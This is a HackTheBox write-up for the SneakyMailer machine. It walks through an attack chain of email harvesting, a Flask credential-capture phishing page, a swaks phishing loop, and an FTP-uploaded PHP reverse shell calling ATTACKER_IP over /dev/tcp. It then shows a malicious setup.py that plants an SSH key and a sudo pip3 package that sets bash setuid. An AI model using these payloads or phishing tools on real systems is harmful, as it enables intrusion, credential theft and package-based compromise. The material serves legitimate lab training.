SneakyMailer - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

SneakyMailer is a medium difficulty Linux machine that demonstrates practical social engineering and package repository exploitation techniques. The attack chain begins with reconnaissance of company employees via web enumeration, proceeds through a phishing attack to capture credentials, escalates to mailbox access revealing FTP credentials, and finally leverages PyPI package exploitation combined with sudo privileges for root access. TL;DR: Web enumeration → Phishing emails → Mail credentials → FTP foothold → PyPI package RCE → Sudo pip3 → Root shell.

Reconnaissance

Port Scanning

# Identify all open ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.197 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed enumeration of discovered ports
nmap -sC -sV -p$ports 10.10.10.197

Results:

• Port 21 – FTP (vsftpd)
• Port 22 – OpenSSH
• Port 25 – Postfix SMTP
• Port 80/8080 – Nginx (HTTP)
• Port 143/993 – Imapd (IMAP/IMAPS)

Service Enumeration

HTTP (Port 80):

Browsing to the target reveals a redirect to sneakycorp.htb. Add this to /etc/hosts:

echo "10.10.10.197 sneakycorp.htb" >> /etc/hosts

The landing page displays two organizational projects: a PyPI repository (testing phase) and a mail server (operational). Navigating to the Team page reveals a list of employee email addresses.

Email Harvesting:

# Extract all email addresses from the team page
curl http://sneakycorp.htb/team.php | grep '@' | awk '{gsub(/<[^>]*>/,"");print;}' | tr -d ' ' > emails.txt

Directory Enumeration:

# Fuzz for hidden directories
ffuf -u http://sneakycorp.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

Discovered /pypi directory. Further fuzzing reveals register.php at /pypi/register.php.

Vulnerability Assessment

1. Phishing-prone registration form – No email verification or anti-phishing measures
2. Weak PyPI authentication – Credentials stored in crackable .htpasswd format
3. PyPI package execution privilege – Packages executed as unprivileged user with sudo access
4. Sudo misconfiguration – User low can run pip3 as root without password

Initial Foothold

Exploitation Path: Phishing & Email Credential Theft

Step 1: Create Phishing Page

Clone the legitimate registration form and modify links to point to our attacker server:

# Create templates directory and download registration page
mkdir templates
curl http://sneakycorp.htb/pypi/register.php -o templates/register.php

# Update internal links to absolute URLs
sed -i 's/\/vendor/http:\/\/sneakycorp.htb\/vendor/g' templates/register.php
sed -i 's/\/css\//http:\/\/sneakycorp.htb\/css\//g' templates/register.php

Step 2: Credential Capture Server

Create a Flask application that logs submitted credentials and redirects to the legitimate site:

from flask import *
import requests

app = Flask(__name__)

@app.route('/pypi/register.php', methods=['GET', 'POST'])
def register():
    if request.method == "GET":
        return render_template("register.php")
    else:
        # Log captured credentials
        print("[+] Captured Form Data:")
        print(request.form)

        # Forward to legitimate server
        requests.post('http://sneakycorp.htb/pypi/register.php', data=request.form)

        # Redirect user to appear legitimate
        return redirect('http://sneakycorp.htb', code=302)

if __name__ == '__main__':
    app.run('0.0.0.0', 80)

Step 3: Send Phishing Emails

Using swaks to send emails from a trusted internal address:

#!/bin/bash
# Send phishing emails to all harvested addresses

while read email; do
    echo "[+] Sending email to: $email"
    swaks --from support@sneakymailer.htb \
          --to $email \
          --header 'Subject: Register in the portal' \
          --body 'Please register at: http://ATTACKER_IP/pypi/register.php' \
          --server sneakycorp.htb >/dev/null
done < emails.txt

Step 4: Retrieve Mailbox Credentials

After sending the phishing emails, credentials are captured. User Paul Byrd falls for the phishing attempt and submits:

• Username: paulbyrd
• Password: [captured]

These credentials work on the IMAP service. Access the mailbox using Thunderbird/Evolution:

• Server: sneakycorp.htb
• Protocol: IMAP
• Port: 143
• Username: paulbyrd

Step 5: Discover FTP Credentials

Examining Paul’s emails reveals a password reset message in the Sent Items folder containing FTP credentials:

• Username: developer
• Password: [obtained from email]

Step 6: FTP Access & File Upload

# Connect to FTP service
ftp sneakycorp.htb
# Login with: developer / [password]

# Navigate to dev directory
cd dev

# Upload PHP reverse shell
put shell.php

Step 7: Gain Web Shell

First, identify the dev subdomain:

# Subdomain bruteforce
ffuf -u http://FUZZ.sneakycorp.htb -w /usr/share/wordlists/subdomains-top1million-110000.txt

Discovered dev.sneakycorp.htb. Add to hosts:

echo "10.10.10.197 dev.sneakycorp.htb" >> /etc/hosts

Create PHP reverse shell (shell.php):

<?php
    exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/1234 0>&1'");
?>

Start listener and trigger:

# Terminal 1: Start listener
nc -lvnp 1234

# Terminal 2: Trigger shell by accessing the uploaded file
curl http://dev.sneakycorp.htb/shell.php

Result: Reverse shell as www-data user.

Privilege Escalation

Lateral Movement: PyPI Package Exploitation

Step 1: Discover PyPI Service

From the web shell, check /var/www directory structure and review Nginx configurations:

cat /etc/nginx/sites-enabled/default

Reveals PyPI service running on localhost:5000, proxied through port 8080. Add to hosts:

echo "10.10.10.197 pypi.sneakycorp.htb" >> /etc/hosts

Step 2: Crack PyPI Credentials

Locate .htpasswd file:

find / -name .htpasswd 2>/dev/null
cat /var/www/pypi/.htpasswd

Contents reveal hash: pypi:[hashed_password]

Crack using John the Ripper:

# Save hash to file
echo 'pypi:$apr1$r8me06FK$harrison66MIxlpyQfIghK' > hash.txt

# Crack the hash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Result: pypi / soufianeelhaoui

Access PyPI at http://pypi.sneakycorp.htb:8080 with discovered credentials.

Step 3: Create Malicious Python Package

Create package structure:

mkdir -p test_pkg/test_pkg
touch test_pkg/test_pkg/__init__.py

Create setup.py with code execution in installation phase:

import setuptools

try:
    # Execute arbitrary code during package installation
    with open("/home/low/.ssh/authorized_keys", "w") as f:
        f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8xcuG[YOUR_PUBLIC_KEY]")

except Exception as e:
    print(f"[!] Error: {e}")

finally:
    setuptools.setup(
        name="test_pkg",
        version="0.0.1",
        packages=['test_pkg'],
    )

Step 4: Upload Malicious Package

Create .pypirc configuration:

[distutils]
index-servers =
    remote

[remote]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

Upload package:

python3 setup.py sdist upload -r remote

Step 5: SSH Access as Low User

Once the package is installed (automatically by cron job), SSH into the machine:

ssh -i ~/.ssh/id_rsa low@sneakycorp.htb

Privilege Escalation: Sudo pip3 Exploitation

Step 1: Check Sudo Privileges

sudo -l

Output reveals:

User low may run the following commands without password:
    (root) NOPASSWD: /usr/local/bin/pip3

Step 2: Exploit pip3 using GTFOBins

The pip3 install command can execute arbitrary code during package installation. Create a malicious package:

mkdir -p privesc_pkg/privesc_pkg
touch privesc_pkg/privesc_pkg/__init__.py

Create setup.py with privilege escalation payload:

import setuptools
import os

os.system("chmod +s /bin/bash")

setuptools.setup(
    name="privesc_pkg",
    version="0.0.1",
    packages=['privesc_pkg'],
)

Step 3: Install as Root via Sudo

# Package the exploit
cd privesc_pkg
python3 setup.py sdist

# Install using sudo pip3 (bypasses password requirement)
sudo pip3 install dist/privesc_pkg-0.0.1.tar.gz

# Verify bash has setuid bit
ls -la /bin/bash
# Output: -rwsr-sr-x 1 root root

# Launch root shell
bash -p
id
# uid=0(root) gid=0(root) groups=0(root)

Attack Chain Summary

Reconnaissance
    ↓
Web Enumeration (port 80/8080)
    ↓
Email Harvesting from Team Page
    ↓
Phishing Registration Form Creation
    ↓
Credential Capture via Social Engineering
    ↓
IMAP Mail Access (paulbyrd)
    ↓
FTP Credentials Retrieved from Email
    ↓
FTP Login & PHP Shell Upload (developer)
    ↓
Web Shell Access (www-data @ dev.sneakycorp.htb)
    ↓
PyPI Subdomain Discovery
    ↓
.htpasswd Cracking (pypi/soufianeelhaoui)
    ↓
Malicious Python Package Creation
    ↓
PyPI Package Upload & Installation
    ↓
SSH Access as low User
    ↓
Sudo pip3 Privilege Escalation
    ↓
Root Shell

Tools Used

Key Learnings

Techniques Practiced

• Social engineering and phishing email campaigns
• IMAP/POP3 mailbox enumeration and credential extraction
• FTP file upload for initial foothold establishment
• Python package repository (PyPI) exploitation
• Arbitrary code execution during package installation phases
• Sudo privilege misconfiguration exploitation
• GTFOBins technique application for privilege escalation

Lessons Learned

1. Email is a critical attack vector – Employees are frequently vulnerable to phishing attacks, especially when the sender appears to be internal IT staff.

2. Credential chaining is powerful – Compromised credentials often provide access to other services; always check for additional credentials in accessible accounts.

3. Package managers are execution environments – Setup scripts in Python packages execute with the privileges of the installing user; never install untrusted packages.

4. Sudo misconfigurations enable escalation – Allowing unprivileged users to run package managers or build tools as root is a critical security flaw.

5. Defense-in-depth is essential – Multiple layers of security (email filtering, MFA, sudo restrictions, package verification) would have prevented this entire attack chain.

6. Reconnaissance pays dividends – Thorough enumeration of web content and service discovery revealed the full attack surface.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>